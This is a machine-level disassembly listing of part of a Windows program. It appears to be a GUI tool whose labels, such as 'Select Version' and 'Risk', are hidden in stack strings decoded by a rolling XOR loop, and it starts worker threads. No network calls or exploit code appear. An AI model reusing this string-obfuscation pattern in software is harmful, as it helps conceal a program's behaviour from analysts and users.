movaps xmm0, xmm15
call fcn.140024720
movdqa xmm0, xmmword [0x140116310]
movdqu xmmword [rbp + 0x15b8], xmm0
movdqa xmm1, xmmword [str.___a_b6O]
movdqu xmmword [rbp + 0x15c8], xmm1
mov word [rbp + 0x15d8], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0x15da], 1
mov rcx, r15
nop word [rax + rax]
lea eax, [rcx + 0x38]
xor byte [rbp + rcx + 0x15b8], al
inc rcx
cmp rcx, 0x21
jb 0x14006b860
mov byte [rbp + 0x15da], 0
movdqa xmm0, xmmword [0x1401164b0]
movdqu xmmword [rbp + 0x1368], xmm0
mov word [rbp + 0x1378], Ordinal_60
mov byte [rbp + 0x137a], 1
mov rcx, r15
nop dword [rax]
lea eax, [rcx + 0x38]
xor byte [rbp + rcx + 0x1368], al
inc rcx
cmp rcx, 0x11
jb 0x14006b8a0
mov byte [rbp + 0x137a], 0
mov r9d, 0xffffffff
lea r8, [rbp + 0x15b8]
lea rdx, [0x1401a7118]
lea rcx, [rbp + 0x1368]
call fcn.14004b7d0
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.140027e20
movdqa xmm0, xmmword [str.kV_I]
movdqu xmmword [rbp + 0x1488], xmm0
mov byte [rbp + 0x1498], 1
mov rcx, r15
nop
lea eax, [rcx + 0x38]
xor byte [rbp + rcx + 0x1488], al
inc rcx
cmp rcx, 0xf
jb 0x14006b900
mov byte [rbp + 0x1498], 0
lea rcx, [rbp + 0x1488]
call fcn.140054480
movdqa xmm0, xmmword [0x140116180]
movdqu xmmword [rbp + 0x1550], xmm0
movdqa xmm1, xmmword [0x140116eb0]
movdqu xmmword [rbp + 0x1560], xmm1
mov dword [rbp + 0x1570], 0x137415
mov byte [rbp + 0x1574], 1
mov rcx, r15
nop word [rax + rax]
lea eax, [rcx + 0x38]
xor byte [rbp + rcx + 0x1550], al
inc rcx
cmp rcx, 0x23
jb 0x14006b960
mov byte [rbp + 0x1574], 0
movdqa xmm0, xmmword [0x140116500]
movdqu xmmword [rbp + 0x1380], xmm0
mov word [rbp + 0x1390], 0x100
mov rcx, r15
nop word [rax + rax]
lea eax, [rcx + 0x38]
xor byte [rbp + rcx + 0x1380], al
inc rcx
cmp rcx, 0x10
jb 0x14006b9a0
mov byte [rbp + 0x1391], 0
mov r9d, 0xffffffff
lea r8, [rbp + 0x1550]
lea rdx, [0x1401a710c]
lea rcx, [rbp + 0x1380]
call fcn.14004b7d0
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.140027e20
mov dword [rbp + 0x318], 0x5e565c6b
mov dword [rbp + 0x31c], 0x691e495f
mov dword [rbp + 0x320], 0x2a313325
mov dword [rbp + 0x324], 0x1002b2b
mov rcx, r15
lea eax, [rcx + 0x38]
xor byte [rbp + rcx + 0x318], al
inc rcx
cmp rcx, 0xe
jb 0x14006ba10
mov byte [rbp + 0x327], 0
lea rcx, [rbp + 0x318]
call fcn.140054480
cmp byte [0x1401a7a6c], 0
je 0x14006bb10
mov dword [rbp + 0x1228], 0x5e5c586b
mov dword [rbp + 0x122c], 0x515f6f1c
mov dword [rbp + 0x1230], 0x2c10412b
mov dword [rbp + 0x1234], 0x100282b
lea rcx, [rbp + 0x1228]
call fcn.140074690
mov rbx, rax
mov dword [rbp + 0x1198], 0x5e691a1b
mov dword [rbp + 0x119c], 0x4b5d5850
mov dword [rbp + 0x11a0], 0x272d0c60
mov word [rbp + 0x11a4], reloc.WLDAP32.dll_Ordinal_33
mov byte [rbp + 0x11a6], 1
lea rcx, [rbp + 0x1198]
call fcn.140074660
mov r9d, 0xffffffff
mov r8, rbx
lea rdx, [0x1401a7110]
mov rcx, rax
call fcn.14004b7d0
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.140027e20
mov dword [rbp + 0x1068], 0x5e565c6b
mov dword [rbp + 0x106c], 0x721e495f
mov dword [rbp + 0x1070], 0x27252f
mov byte [rbp + 0x1074], 1
lea rcx, [rbp + 0x1068]
call fcn.140074600
mov rcx, rax
call fcn.140054480
mov dword [rbp + 0x1448], 0x43520000
mov dword [rbp + 0x144c], 0x41e00000
mov dword [rbp + 0x328], 0x495b4d6b
mov dword [rbp + 0x32c], 0x527b1d48
mov dword [rbp + 0x330], 0x37232d35
mov dword [rbp + 0x334], 0x100372b
mov rcx, r15
nop
lea eax, [rcx + 0x38]
xor byte [rbp + rcx + 0x328], al
inc rcx
cmp rcx, 0xe
jb 0x14006bb50
mov byte [rbp + 0x337], 0
lea rdx, [rbp + 0x1448]
lea rcx, [rbp + 0x328]
call fcn.14004a510
test al, al
je 0x14006bbcf
mov qword [rsp + 0x28], r15
mov dword [rsp + 0x20], r15d
xor r9d, r9d
lea r8, [0x1400658c0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rsp + 0x28], r15
mov dword [rsp + 0x20], r15d
xor r9d, r9d
lea r8, [0x140063ee0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rbp + 0x1450], 0x43520000
mov dword [rbp + 0x1454], 0x41e00000
mov dword [rbp + 0x2c8], 0x495b4d6b
mov dword [rbp + 0x2cc], 0x467c1d48
mov dword [rbp + 0x2d0], 0x30312030
mov word [rbp + 0x2d4], 0x100
mov rcx, r15
nop dword [rax]
lea eax, [rcx + 0x38]
xor byte [rbp + rcx + 0x2c8], al
inc rcx
cmp rcx, 0xc
jb 0x14006bc10
mov byte [rbp + 0x2d5], 0
lea rdx, [rbp + 0x1450]
lea rcx, [rbp + 0x2c8]
call fcn.14004a510
test al, al
je 0x14006bc8f
mov qword [rsp + 0x28], r15
mov dword [rsp + 0x20], r15d
xor r9d, r9d
lea r8, [0x140066020]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rsp + 0x28], r15
mov dword [rsp + 0x20], r15d
xor r9d, r9d
lea r8, [0x140063ee0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call fcn.1400514b0
mov ecx, 1
call fcn.140024040
mov dword [rbp + 0x128], 0x4f5b4d6b
mov dword [rbp + 0x12c], 0x1f044e49
mov word [rbp + 0x130], 0x100
mov rcx, r15
nop
lea eax, [rcx + 0x38]
xor byte [rbp + rcx + 0x128], al
inc rcx
cmp rcx, 8
jb 0x14006bcc0
mov byte [rbp + 0x131], 0
lea rcx, [rbp + 0x128]
call fcn.14004a2e0
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.140027e20
lea rdx, [0x1401a75a8]
cmp qword [0x1401a75c0], 0xf
cmova rdx, qword [0x1401a75a8]
movaps xmm0, xmmword [0x140116a30]
movups xmmword [rbp + 0x1af0], xmm0
lea rcx, [rbp + 0x1af0]
call fcn.1400544b0
call fcn.1400514b0
mov dword [rbp + 0x118], 0x6b09696c
mov dword [rbp + 0x11c], 0x575d495d
mov word [rbp + 0x120], 0x100
mov rcx, r15
nop word [rax + rax]
lea eax, [rcx + 0x38]
xor byte [rbp + rcx + 0x118], al
inc rcx
cmp rcx, 8
jb 0x14006bd50
mov byte [rbp + 0x121], 0
lea rdx, [0x1401a760a]
lea rcx, [rbp + 0x118]
call fcn.14004ad70
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.140027e20
mov dword [rbp + 0x208], 0x5e495c6a
mov dword [rbp + 0x20c], 0x5a4b7a48
mov dword [rbp + 0x210], 0x1003533
mov rcx, r15
nop dword [rax]
lea eax, [rcx + 0x38]
xor byte [rbp + rcx + 0x208], al
inc rcx
cmp rcx, 0xa
jb 0x14006bdb0
mov byte [rbp + 0x213], 0
lea rdx, [0x1401a72ee]
lea rcx, [rbp + 0x208]
call fcn.14004ad70
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.140027e20
mov dword [rbp + 0x198], 0x745d5674
mov dword [rbp + 0x19c], 0x761e4949
mov word [rbp + 0x1a0], 4
mov byte [rbp + 0x1a2], 1
mov rcx, r15
nop
lea eax, [rcx + 0x38]
xor byte [rbp + rcx + 0x198], al
inc rcx
cmp rcx, 9
jb 0x14006be10
mov byte [rbp + 0x1a2], 0
lea rdx, [0x1401a7609]
lea rcx, [rbp + 0x198]
call fcn.14004ad70
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.140027e20
mov dword [rbp + 0x1b8], 0x1b49506e
mov dword [rbp + 0x1bc], 0x5c5b557f
mov word [rbp + 0x1c0], Ordinal_46
mov byte [rbp + 0x1c2], 1
mov rcx, r15
nop
lea eax, [rcx + 0x38]
xor byte [rbp + rcx + 0x1b8], al
inc rcx
cmp rcx, 9
jb 0x14006be70
mov byte [rbp + 0x1c2], 0
lea rdx, [0x1401a760b]
lea rcx, [rbp + 0x1b8]
call fcn.14004ad70
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.140027e20
mov dword [rbp + 0x48], 0x7317576e
mov dword [rbp + 0x4c], 0x100455d
mov rcx, r15
nop dword [rax]
lea eax, [rcx + 0x38]
xor byte [rbp + rcx + 0x48], al
inc rcx
cmp rcx, 6
jb 0x14006bec0
mov byte [rbp + 0x4f], 0
lea rcx, [rbp + 0x48]
call fcn.140063e30
cmp byte [0x1401a7a6c], 0
je 0x14006c156
mov dword [rbp + 0x278], 0x1b594b6b
mov dword [rbp + 0x27c], 0x4c4c586a
mov dword [rbp + 0x280], 0x2c2e29
mov byte [rbp + 0x284], 1
mov rcx, r15
lea eax, [rcx + 0x38]
xor byte [rbp + rcx + 0x278], al
inc rcx
cmp rcx, 0xb
jb 0x14006bf12
mov byte [rbp + 0x284], 0
lea rdx, [0x1401a72ef]
lea rcx, [rbp + 0x278]
call fcn.14004ad70
test al, al
je 0x14006c04e
movzx eax, byte [0x1401a72ef]
test al, al
je 0x14006bfd7
lea rsi, [rbp + 0x1c20]
cmp qword [rbp + 0x1c38], 0xf
cmova rsi, qword [rbp + 0x1c20]
mov edi, eax
mov dword [rbp + 0xf28], 0x6d594b6b
mov dword [rbp + 0xf2c], 0x564d4f59
mov dword [rbp + 0xf30], 0x1002f2f
lea rcx, [rbp + 0xf28]
call fcn.1400745a0
mov rbx, rax
mov dword [rbp + 0x3b0], 0x5e57587f
mov word [rbp + 0x3b4], 0x100
lea rcx, [rbp + 0x3b0]
call fcn.140073bb0
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072750
movzx eax, byte [0x1401a72ef]
test al, al
jne 0x14006c04e
lea rsi, [rbp + 0x1c20]
cmp qword [rbp + 0x1c38], 0xf
cmova rsi, qword [rbp + 0x1c20]
movzx edi, al
mov dword [rbp + 0xf38], 0x6d594b6b
mov dword [rbp + 0xf3c], 0x564d4f59
mov dword [rbp + 0xf40], 0x1002f2f
lea rcx, [rbp + 0xf38]
call fcn.1400745a0
mov rbx, rax
mov dword [rbp + 0x3b8], 0x5e57587f
mov word [rbp + 0x3bc], 0x100
lea rcx, [rbp + 0x3b8]
call fcn.140073bb0
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072750
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.140027e20
mov dword [rbp + 0x288], 0x150a170b
mov dword [rbp + 0x28c], 0xc0d130c
mov dword [rbp + 0x290], 0x717273
mov byte [rbp + 0x294], 1
mov rcx, r15
lea eax, [rcx + 0x38]
xor byte [rbp + rcx + 0x288], al
inc rcx
cmp rcx, 0xb
jb 0x14006c081
mov byte [rbp + 0x294], 0
lea rcx, [rbp + 0x288]
call fcn.140063e30
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.140027e20
mov dword [rbp + 0x108], 0x100a0109
mov dword [rbp + 0x10c], 0x6c6e7b1c
mov word [rbp + 0x110], 0x100
mov rcx, r15
lea eax, [rcx + 0x38]
xor byte [rbp + rcx + 0x108], al
inc rcx
cmp rcx, 8
jb 0x14006c0d2
mov byte [rbp + 0x111], 0
lea rdx, [0x1401a7608]
lea rcx, [rbp + 0x108]
call fcn.14004ad70
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.140027e20
mov dword [rbp + 0x1f8], 0x5456576d
mov dword [rbp + 0x1fc], 0x791e565f
mov dword [rbp + 0x200], 0x1001210
mov rcx, r15
nop dword [rax + rax]
lea eax, [rcx + 0x38]
xor byte [rbp + rcx + 0x1f8], al
inc rcx
cmp rcx, 0xa
jb 0x14006c130
mov byte [rbp + 0x203], 0
lea rcx, [rbp + 0x1f8]
call fcn.140063e30
call fcn.140019ce0
cmp dword [0x1401a7a88], 2
jne 0x140071872
mov dword [rbp + 0x1460], 0x43d10000
mov dword [rbp + 0x1464], 0x43c98000
xor r9d, r9d
mov r8b, 1
lea rdx, [rbp + 0x1460]
lea rcx, [0x1400ec0a0]
call fcn.14000eda0
mov dword [rbp + 0x10], 0x485b557e
mov word [rbp + 0x14], 0x54
mov byte [rbp + 0x16], 1
mov rcx, r15
nop dword [rax]
lea eax, [rcx + 0x38]
xor byte [rbp + rcx + 0x10], al
inc rcx
cmp rcx, 5
jb 0x14006c1b0
mov byte [rbp + 0x16], 0
xor edx, edx
lea rcx, [rbp + 0x10]
call fcn.14004b760
test al, al
je 0x14006cfaf
mov dword [rbp + 0x2d8], 0x1b42507e
mov dword [rbp + 0x2dc], 0x4c5f517a
mov dword [rbp + 0x2e0], 0x72146128
mov word [rbp + 0x2e4], 0x100
mov rcx, r15
lea eax, [rcx + 0x38]
xor byte [rbp + rcx + 0x2d8], al
inc rcx
cmp rcx, 0xc
jb 0x14006c201
mov byte [rbp + 0x2e5], 0
lea rdx, [0x1401a7a3f]
lea rcx, [rbp + 0x2d8]
call fcn.14004ad70
test al, al
je 0x14006c33d
movzx eax, byte [0x1401a7a3f]
test al, al
je 0x14006c2c6
lea rsi, [rbp + 0x1c20]
cmp qword [rbp + 0x1c38], 0xf
cmova rsi, qword [rbp + 0x1c20]
mov edi, eax
mov dword [rbp + 0xc58], 0x6842507e
mov dword [rbp + 0xc5c], 0x5b5b584c
mov word [rbp + 0xc60], 0x100
lea rcx, [rbp + 0xc58]
call fcn.140073c70
mov rbx, rax
mov dword [rbp + 0x808], 0x54575c75
mov dword [rbp + 0x80c], 0x100444e
lea rcx, [rbp + 0x808]
call fcn.140073c10
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072750
movzx eax, byte [0x1401a7a3f]
test al, al
jne 0x14006c33d
lea rsi, [rbp + 0x1c20]
cmp qword [rbp + 0x1c38], 0xf
cmova rsi, qword [rbp + 0x1c20]
movzx edi, al
mov dword [rbp + 0xc48], 0x6842507e
mov dword [rbp + 0xc4c], 0x5b5b584c
mov word [rbp + 0xc50], 0x100
lea rcx, [rbp + 0xc48]
call fcn.140073c70
mov rbx, rax
mov dword [rbp + 0x800], 0x54575c75
mov dword [rbp + 0x804], 0x100444e
lea rcx, [rbp + 0x800]
call fcn.140073c10
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072750
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.140027e20
mov dword [rbp - 0x50], 0x5049506a
mov word [rbp - 0x4c], 0x100
mov rcx, r15
nop dword [rax + rax]
lea eax, [rcx + 0x38]
xor byte [rbp + rcx - 0x50], al
inc rcx
cmp rcx, 4
jb 0x14006c360
mov byte [rbp - 0x4b], 0
lea rcx, [rbp - 0x50]
call fcn.140063e30
movaps xmm1, xmm6
movaps xmm0, xmm11
call fcn.140027e20
mov dword [rbp + 0x298], 0x4c55556b
mov dword [rbp + 0x29c], 0x4b51701c
mov dword [rbp + 0x2a0], 0x2c2e29
mov byte [rbp + 0x2a4], 1
mov rcx, r15
lea eax, [rcx + 0x38]
xor byte [rbp + rcx + 0x298], al
inc rcx
cmp rcx, 0xb
jb 0x14006c3b1
mov byte [rbp + 0x2a4], 0
lea rdx, [0x1401a7a40]
lea rcx, [rbp + 0x298]
call fcn.14004ad70
test al, al
je 0x14006c4ef
movzx eax, byte [0x1401a7a40]
test al, al
je 0x14006c477
lea rsi, [rbp + 0x1c20]
cmp qword [rbp + 0x1c38], 0xf
cmova rsi, qword [rbp + 0x1c20]
mov edi, eax
mov dword [rbp + 0xf48], 0x4c55556b
mov dword [rbp + 0xf4c], 0x564a5271
mov dword [rbp + 0xf50], 0x1002f2f
lea rcx, [rbp + 0xf48]
call fcn.1400745a0
mov rbx, rax
mov dword [rbp + 0x7f8], 0x54575c75
mov dword [rbp + 0x7fc], 0x100444e
lea rcx, [rbp + 0x7f8]
call fcn.140073c10
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072750
movzx eax, byte [0x1401a7a40]
test al, al
jne 0x14006c4ef
lea rsi, [rbp + 0x1c20]
cmp qword [rbp + 0x1c38], 0xf
cmova rsi, qword [rbp + 0x1c20]
movzx edi, al
mov dword [rbp + 0xf58], 0x4c55556b
mov dword [rbp + 0xf5c], 0x564a5271
mov dword [rbp + 0xf60], 0x1002f2f
lea rcx, [rbp + 0xf58]
call fcn.1400745a0
mov rbx, rax
mov dword [rbp + 0x7f0], 0x54575c75
mov dword [rbp + 0x7f4], 0x100444e
lea rcx, [rbp + 0x7f0]
call fcn.140073c10
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072750
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.140027e20
mov dword [rbp - 0x20], 0x5049506a
mov word [rbp - 0x1c], 0x100
mov rcx, r15
nop word [rax + rax]
lea eax, [rcx + 0x38]
xor byte [rbp + rcx - 0x20], al
inc rcx
cmp rcx, 4
jb 0x14006c510
mov byte [rbp - 0x1b], 0
lea rcx, [rbp - 0x20]
call fcn.140063e30
movaps xmm1, xmm6
movaps xmm0, xmm12
call fcn.140027e20
mov dword [rbp + 0x2a8], 0x58555773
mov dword [rbp + 0x2ac], 0x4f6d1d57
mov dword [rbp + 0x2b0], 0x262425
mov byte [rbp + 0x2b4], 1
mov rcx, r15
lea eax, [rcx + 0x38]
xor byte [rbp + rcx + 0x2a8], al
inc rcx
cmp rcx, 0xb
jb 0x14006c561
mov byte [rbp + 0x2b4], 0
lea rdx, [0x1401a7a41]
lea rcx, [rbp + 0x2a8]
call fcn.14004ad70
test al, al
je 0x14006c69f
movzx eax, byte [0x1401a7a41]
test al, al
je 0x14006c627
lea rsi, [rbp + 0x1c20]
cmp qword [rbp + 0x1c38], 0xf
cmova rsi, qword [rbp + 0x1c20]
mov edi, eax
mov dword [rbp + 0xf68], 0x58555773
mov dword [rbp + 0xf6c], 0x5a4e6e57
mov dword [rbp + 0xf70], 0x1002525
lea rcx, [rbp + 0xf68]
call fcn.1400745a0
mov rbx, rax
mov dword [rbp + 0x7e8], 0x54575c75
mov dword [rbp + 0x7ec], 0x100444e
lea rcx, [rbp + 0x7e8]
call fcn.140073c10
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072750
movzx eax, byte [0x1401a7a41]
test al, al
jne 0x14006c69f
lea rsi, [rbp + 0x1c20]
cmp qword [rbp + 0x1c38], 0xf
cmova rsi, qword [rbp + 0x1c20]
movzx edi, al
mov dword [rbp + 0xf78], 0x58555773
mov dword [rbp + 0xf7c], 0x5a4e6e57
mov dword [rbp + 0xf80], 0x1002525
lea rcx, [rbp + 0xf78]
call fcn.1400745a0
mov rbx, rax
mov dword [rbp + 0x7e0], 0x54575c75
mov dword [rbp + 0x7e4], 0x100444e
lea rcx, [rbp + 0x7e0]
call fcn.140073c10
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072750
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.140027e20
mov dword [rbp - 0x18], 0x5049506a
mov word [rbp - 0x14], 0x100
mov rcx, r15
nop word [rax + rax]
lea eax, [rcx + 0x38]
xor byte [rbp + rcx - 0x18], al
inc rcx
cmp rcx, 4
jb 0x14006c6c0
mov byte [rbp - 0x13], 0
lea rcx, [rbp - 0x18]
call fcn.140063e30
mov dword [rbp + 0xf8], 0x485b557e
mov dword [rbp + 0xfc], 0xe681d54
mov word [rbp + 0x100], 0x100
mov rcx, r15
nop dword [rax]
lea eax, [rcx + 0x38]
xor byte [rbp + rcx + 0xf8], al
inc rcx
cmp rcx, 8
jb 0x14006c700
mov byte [rbp + 0x101], 0
lea rdx, [0x1401a760d]
lea rcx, [rbp + 0xf8]
call fcn.14004ad70
test al, al
je 0x14006c75a
cmp byte [0x1401a760d], 0
jne 0x14006c75a
movaps xmm1, xmm14
mov ecx, 0x63d145c
call fcn.1400727c0
movss xmm1, dword [0x140115d80]
mov ecx, 0x5ab87b8
call fcn.1400727c0
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.140027e20
mov dword [rbp - 0x10], 0x5049506a
mov word [rbp - 0xc], 0x100
mov rcx, r15
nop word [rax + rax]
lea eax, [rcx + 0x38]
xor byte [rbp + rcx - 0x10], al
inc rcx
cmp rcx, 4
jb 0x14006c780
mov byte [rbp - 0xb], 0
lea rcx, [rbp - 0x10]
call fcn.140063e30
movaps xmm1, xmm6
movaps xmm0, xmm11
call fcn.140027e20
mov dword [rbp + 0xe8], 0x485b557e
mov dword [rbp + 0xec], 0xd681d54
mov word [rbp + 0xf0], 0x100
mov rcx, r15
nop dword [rax]
lea eax, [rcx + 0x38]
xor byte [rbp + rcx + 0xe8], al
inc rcx
cmp rcx, 8
jb 0x14006c7d0
mov byte [rbp + 0xf1], 0
lea rdx, [0x1401a760e]
lea rcx, [rbp + 0xe8]
call fcn.14004ad70
test al, al
je 0x14006c857
cmp byte [0x1401a760e], 0
je 0x14006c837
movss xmm1, dword [0x140115d3c]
mov ecx, 0x63d145c
call fcn.1400727c0
movss xmm1, dword [0x140115d38]
mov ecx, 0x5ada02c
call fcn.1400727c0
cmp byte [0x1401a760e], 0
jne 0x14006c857
movaps xmm1, xmm14
mov ecx, 0x63d145c
call fcn.1400727c0
movss xmm1, dword [0x1400efbac]
mov ecx, 0x5ada02c
call fcn.1400727c0
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.140027e20
mov dword [rbp - 8], 0x5049506a
mov word [rbp - 4], 0x100
mov rcx, r15
nop dword [rax]
nop word [rax + rax]
lea eax, [rcx + 0x38]
xor byte [rbp + rcx - 8], al
inc rcx
cmp rcx, 4
jb 0x14006c880
mov byte [rbp - 3], 0
lea rcx, [rbp - 8]
call fcn.140063e30
movaps xmm1, xmm6
movaps xmm0, xmm12
call fcn.140027e20
mov dword [rbp + 0xd8], 0x485b557e
mov dword [rbp + 0xdc], 0xc681d54
mov word [rbp + 0xe0], 0x100
mov rcx, r15
nop dword [rax]
lea eax, [rcx + 0x38]
xor byte [rbp + rcx + 0xd8], al
inc rcx
cmp rcx, 8
jb 0x14006c8d0
mov byte [rbp + 0xe1], 0
lea rdx, [0x1401a760f]
lea rcx, [rbp + 0xd8]
call fcn.14004ad70
test al, al
je 0x14006c932
cmp byte [0x1401a760f], 0
je 0x14006c920
xorps xmm1, xmm1
mov ecx, 0x5e9d260
call fcn.1400727c0
cmp byte [0x1401a760f], 0
jne 0x14006c932
movss xmm1, dword [0x140115d7c]
mov ecx, 0x5e9d260
call fcn.1400727c0
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.140027e20
mov dword [rbp - 0x78], 0x5049506a
mov word [rbp - 0x74], 0x100
mov rcx, r15
nop dword [rax]
lea eax, [rcx + 0x38]
xor byte [rbp + rcx - 0x78], al
inc rcx
cmp rcx, 4
jb 0x14006c950
mov byte [rbp - 0x73], 0
lea rcx, [rbp - 0x78]
call fcn.140063e30
mov dword [rbp + 0x258], 0x544e4c79
mov dword [rbp + 0x25c], 0x5e527b1c
mov dword [rbp + 0x260], 0x1002933
mov rcx, r15
nop
lea eax, [rcx + 0x38]
xor byte [rbp + rcx + 0x258], al
inc rcx
cmp rcx, 0xa
jb 0x14006c990
mov byte [rbp + 0x263], 0
lea rdx, [0x1401a7a3c]
lea rcx, [rbp + 0x258]
call fcn.14004ad70
test al, al
je 0x14006cada
movzx eax, byte [0x1401a7a3c]
test al, al
je 0x14006ca5c
lea rsi, [rbp + 0x1c20]
cmp qword [rbp + 0x1c38], 0xf
cmova rsi, qword [rbp + 0x1c20]
mov edi, eax
mov dword [rbp + 0xeb8], 0x544e4c79
mov dword [rbp + 0xebc], 0x4c5f517a
mov word [rbp + 0xec0], Ordinal_46
mov byte [rbp + 0xec2], 1
lea rcx, [rbp + 0xeb8]
call fcn.140073ca0
mov rbx, rax
mov dword [rbp + 0x7d8], 0x54575c75
mov dword [rbp + 0x7dc], 0x100444e
lea rcx, [rbp + 0x7d8]
call fcn.140073c10
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072750
movzx eax, byte [0x1401a7a3c]
test al, al
jne 0x14006cada
lea rsi, [rbp + 0x1c20]
cmp qword [rbp + 0x1c38], 0xf
cmova rsi, qword [rbp + 0x1c20]
movzx edi, al
mov dword [rbp + 0xc88], 0x544e4c79
mov dword [rbp + 0xc8c], 0x4c5f517a
mov word [rbp + 0xc90], Ordinal_46
mov byte [rbp + 0xc92], 1
lea rcx, [rbp + 0xc88]
call fcn.140073ca0
mov rbx, rax
mov dword [rbp + 0x7d0], 0x54575c75
mov dword [rbp + 0x7d4], 0x100444e
lea rcx, [rbp + 0x7d0]
call fcn.140073c10
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072750
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.140027e20
mov dword [rbp - 0x70], 0x5049506a
mov word [rbp - 0x6c], 0x100
mov rcx, r15
nop word [rax + rax]
lea eax, [rcx + 0x38]
xor byte [rbp + rcx - 0x70], al
inc rcx
cmp rcx, 4
jb 0x14006cb00
mov byte [rbp - 0x6b], 0
lea rcx, [rbp - 0x70]
call fcn.140063e30
movaps xmm1, xmm6
movaps xmm0, xmm11
call fcn.140027e20
cmp byte [0x1401a7a6c], 0
je 0x14006cca3
mov dword [rbp + 0x938], 0x1b4e506b
mov dword [rbp + 0x93c], 0x47517a
mov byte [rbp + 0x940], 1
lea rcx, [rbp + 0x938]
call fcn.140073c40
mov rcx, rax
lea rdx, [0x1401a7a42]
call fcn.14004ad70
test al, al
je 0x14006cc65
movzx eax, byte [0x1401a7a42]
test al, al
je 0x14006cbf7
lea rsi, [rbp + 0x1c20]
cmp qword [rbp + 0x1c38], 0xf
cmova rsi, qword [rbp + 0x1c20]
mov edi, eax
mov dword [rbp + 0x7c8], 0x7d4e506b
mov dword [rbp + 0x7cc], 0x1004450
lea rcx, [rbp + 0x7c8]
call fcn.140073c10
mov rbx, rax
mov dword [rbp + 0x828], 0x54575c75
mov dword [rbp + 0x82c], 0x100444e
lea rcx, [rbp + 0x828]
call fcn.140073c10
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072750
movzx eax, byte [0x1401a7a42]
test al, al
jne 0x14006cc65
lea rsi, [rbp + 0x1c20]
cmp qword [rbp + 0x1c38], 0xf
cmova rsi, qword [rbp + 0x1c20]
movzx edi, al
mov dword [rbp + 0x7b8], 0x7d4e506b
mov dword [rbp + 0x7bc], 0x1004450
lea rcx, [rbp + 0x7b8]
call fcn.140073c10
mov rbx, rax
mov dword [rbp + 0x7b0], 0x54575c75
mov dword [rbp + 0x7b4], 0x100444e
lea rcx, [rbp + 0x7b0]
call fcn.140073c10
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072750
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.140027e20
mov dword [rbp + 0x3c0], 0x5049506a
mov word [rbp + 0x3c4], 0x100
lea rcx, [rbp + 0x3c0]
call fcn.140073bb0
mov rcx, rax
call fcn.140063e30
movaps xmm1, xmm6
movaps xmm0, xmm12
call fcn.140027e20
mov dword [rbp + 0x248], 0x49595875
mov dword [rbp + 0x24c], 0x5a4e6e53
mov dword [rbp + 0x250], 0x1002525
mov rcx, r15
nop dword [rax]
nop dword [rax + rax]
lea eax, [rcx + 0x38]
xor byte [rbp + rcx + 0x248], al
inc rcx
cmp rcx, 0xa
jb 0x14006ccd0
mov byte [rbp + 0x253], 0
lea rdx, [0x1401a7a3d]
lea rcx, [rbp + 0x248]
call fcn.14004ad70
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.140027e20
mov dword [rbp - 0x68], 0x5049506a
mov word [rbp - 0x64], 0x100
mov rcx, r15
nop dword [rax + rax]
lea eax, [rcx + 0x38]
xor byte [rbp + rcx - 0x68], al
inc rcx
cmp rcx, 4
jb 0x14006cd20
mov byte [rbp - 0x63], 0
lea rcx, [rbp - 0x68]
call fcn.140063e30
movss xmm0, dword [0x140115d6c]
call fcn.140024720
mov dword [rbp + 0x238], 0x5e57587f
mov dword [rbp + 0x23c], 0x5a4e6e1c
mov dword [rbp + 0x240], 0x1002525
mov rcx, r15
nop dword [rax + rax]
lea eax, [rcx + 0x38]
xor byte [rbp + rcx + 0x238], al
inc rcx
cmp rcx, 0xa
jb 0x14006cd70
mov byte [rbp + 0x243], 0
mov dword [rsp + 0x28], r15d
lea rbx, str._.3f
mov qword [rsp + 0x20], rbx
movss xmm3, dword [0x1400ebfac]
movss xmm2, dword [0x1400ebf9c]
lea rdx, [0x140170d8c]
lea rcx, [rbp + 0x238]
call fcn.140050f70
test al, al
je 0x14006cddd
cmp byte [0x1401a760d], 0
je 0x14006cddd
